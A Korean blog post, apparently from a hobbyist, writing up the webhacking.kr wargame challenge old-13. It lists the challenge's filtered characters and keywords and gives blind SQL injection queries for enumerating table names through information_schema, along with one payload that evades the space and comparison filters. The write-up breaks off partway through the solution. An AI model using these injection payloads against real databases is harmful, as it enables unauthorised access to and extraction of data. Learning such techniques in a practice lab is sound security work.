[webhacking.kr] old-13 Write-Up

두비니

·

2022. 9. 4. 06:56

 

 

webhacking.kr old-13

Write-Up

 

 

 

01. 문제 분석

 

 

SQL Injection 문제인 것 같고, 플래그를 얻어내는 것이 목표인 것 같습니다.

 

 

기본적으로 필터링을 진행하는 것 같고, 필터링에 걸리는 것이 없는 경우 결과를 리턴해줍니다.

 

 

 

02. Solution

 

이번 문제도 아는 것이 아무것도 없기 때문에 old-2 문제처럼 table, column까지 알아내야 합니다.

그 전에 필터링부터 알아내도록 하겠습니다. 아래는 어느정도 알아낸 필터링이다.

  • " "(공백), %0D, %09, %0C, %0A, %0B
  • =, *, <, >
  • where, group_concat, union, like, ascii, where, group, limit (대소문자 바꾸기 안먹힘)

필터링을 고려하여 쿼리를 짜고, 원하는 값들을 얻어내자.

 

2-1. table_name 알아내기

 

먼저 table_name을 알아내야 한다. 우리가 실행하고자 하는 쿼리는 다음과 같다.

// table 갯수
(select count(table_name) from information_schema.tables where table_schema=database())
// table_name의 길이 - table이 1개인 경우 limit 뒷부분 필요X
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) 
// table_name 알아내기 - table이 1개인 경우 limit 뒷부분 필요X
(select ascii(substring(table_name,{num},1)) from information_schema.tables where table_schema=database() limit 0,1)

 

먼저 

LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})

'War Games > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-12 Write-Up  (0) 2022.09.03
[webhacking.kr] old-11 Write-Up  (0) 2022.09.02
[webhacking.kr] old-10 Write-Up  (0) 2022.09.01
[webhacking.kr] old-9 Write-Up  (0) 2022.08.31
[webhacking.kr] old-8 Write-Up  (0) 2022.08.31